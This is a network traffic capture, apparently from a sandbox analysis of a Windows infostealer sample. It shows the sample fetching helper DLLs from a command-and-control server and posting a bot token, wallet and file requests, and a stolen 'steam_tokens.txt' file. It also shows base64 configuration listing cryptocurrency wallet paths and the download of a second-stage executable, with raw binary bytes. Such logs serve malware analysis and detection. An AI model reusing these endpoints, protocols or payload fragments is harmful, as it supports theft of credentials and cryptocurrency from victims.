Nov 20, 2024 23:12:52.961343050 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 23:12:53.814340115 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:54.269889116 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 23:12:57.725254059 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:58.180871964 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 23:12:58.864098072 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 23:12:59.319647074 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 23:12:59.984798908 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 23:13:01.107429028 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:13:01.248009920 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"wallets------DAEHJJECAEGCAAAAEGIE--
Nov 20, 2024 23:13:01.705780029 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 23:13:01.709877968 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"files------GIIJEBAECGCBKECAAAEB--
Nov 20, 2024 23:13:02.167551041 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:13:02.208762884 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Nov 20, 2024 23:13:03.167529106 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 23:13:03.206306934 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="message"ybncbhylepme------BFCFBKKKFHCFHJKFIIEH--
Nov 20, 2024 23:13:03.664993048 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49932	185.215.113.16	80	7740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:13:03.824635983 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 23:13:05.201338053 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:13:04 GMT Content-Type: application/octet-stream Content-Length: 1912832 Last-Modified: Wed, 20 Nov 2024 21:49:12 GMT Connection: keep-alive ETag: "673e5958-1d3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkHKK @.rsrcH@.idata @ *@ouutfhzy p1@nnqcftduK@.taggant0K"@
Nov 20, 2024 23:13:05.201384068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 23:13:05.201401949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 23:13:05.201425076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 23:13:05.201443911 CET	1236	IN	Data Raw: eb f9 f4 54 a4 af c7 1e 45 da e0 48 e0 d6 66 b2 95 8e 8f 09 1e 3c b5 ba b6 5c 69 74 ab b8 64 99 57 f4 d1 c3 54 b4 f8 94 a8 b3 00 8b 34 dd f1 b0 04 cc a4 d4 f8 d2 35 3e 56 cd 74 25 ae 2f 64 be 34 38 10 7a cc 73 40 b9 a6 0f 7a 8b 74 cd 3c 87 a5 53 Data Ascii: TEHf<\itdWT45>Vt%/d48zs@zt<StA@8fyQq\|whqFldegghW{hv~7D\d5uQ48AL r.O5,gkTQow}Pevt5Q8`:;h@{]d9FuUhq
Nov 20, 2024 23:13:05.201462030 CET	1236	IN	Data Raw: 3b f8 92 04 84 00 34 4b 9c 14 a0 d7 d3 83 e2 d3 14 fe 78 e1 a5 3f c0 5c 25 e1 64 d9 30 34 c5 94 24 de 1c 8d 76 94 6f 42 37 1a c8 81 0d b8 44 65 80 5f e4 79 ae 0f 63 88 8c be e5 41 ab 2c e0 98 54 f8 6e 85 94 44 be aa d0 0b 67 ed 84 7b 80 75 22 5d Data Ascii: ;4Kx?\%d04$voB7De_ycA,TnDg{u"]lm4$LI6pUDt)>wwv`Z'9Z"NK:7b){]T\|:GBo<K*Ng<09=tOU=lU f,Xe
Nov 20, 2024 23:13:05.201524973 CET	744	IN	Data Raw: b9 c7 cd f0 6c c5 c0 5e 68 b3 4f 17 a6 dd ac bb d3 6b d6 b4 1f 48 ab e4 0b d6 9d d8 5c ce ac 93 79 7d b7 a7 68 db 71 6a 5c 2d 60 58 4b 50 8b 4b 3a 44 c2 fb 23 bb e2 87 65 94 d3 8a c9 a8 11 f9 23 d5 0e 2c 26 50 80 59 83 59 0c 5b 6c e9 c9 5e d8 18 Data Ascii: l^hOkH\y}hqj\-`XKPK:D#e#,&PYY[l^3kp'1@Lsjbk9gSDa'U{1Zs6z5%hK4lto".A2%EO"sl9u.J`GUR*)GEv
Nov 20, 2024 23:13:05.201541901 CET	1236	IN	Data Raw: 02 d8 72 3c ec 3a 7f 4e f2 58 2b 5f a1 69 f4 78 78 a3 cc 55 00 87 85 bc 08 c3 ac 78 b1 3b ed 38 0a 03 e7 18 4b f9 fb 56 6c 6d 89 22 f9 1e 1a 56 cb 73 80 79 3d bf 0b ae 87 ca 59 06 df 42 84 ca 7a be 13 97 09 d8 1d 85 80 b6 91 e6 d1 1c 13 b3 42 fb Data Ascii: r<:NX+_ixxUx;8KVlm"Vsy=YBzB5tK+SbaM[AL>0J.riN\^{jeJa\0!#?28H\|x*<\gF];hIIU?y5vBXAr
Nov 20, 2024 23:13:05.201556921 CET	1236	IN	Data Raw: 41 94 50 35 09 41 1b 35 09 71 40 dd c6 f0 72 d4 7b de 7e 96 89 e4 18 fa 8f 31 3a 99 cf fd cf 64 d7 d9 26 69 00 3f 04 dc c7 02 6c 95 37 59 08 7a 43 ae 3f ff b8 94 3b 35 81 ea 22 b3 0d ee 75 02 9e 27 38 5b e4 4c 58 b5 07 3f c9 49 a1 ff 65 53 a3 4c Data Ascii: AP5A5q@r{~1:d&i?l7YzC?;5"u'8[LX?IeSLOhLuQ]/A^+FMd2tH/YL( b#s`%QCfp_w0?^wi\|v0N2^rQFh^19(L3O^uuP
Nov 20, 2024 23:13:05.201571941 CET	1236	IN	Data Raw: 7c be 0b 65 79 f9 7c 0c 4d 48 5a 7e fd f8 cc 9c 4b ad 35 86 a4 34 35 26 25 72 87 f3 12 39 56 69 66 30 0c 75 40 d4 57 9f 94 d1 83 12 bf 28 bc 74 9b 96 bc 95 ca b0 4a 21 af 5d 3e b6 91 7b 12 f0 63 ba 96 bb 81 b4 05 71 6c 82 83 b1 00 3a 72 52 2c 48 Data Ascii: \|ey\|MHZ~K545&%r9Vif0u@W(tJ!]>{cql:rR,H<~r$j5L%#5bpOTvj9 d9>eXx\|PLAFfVFZLC7?VELUKG}",8iS8Uit
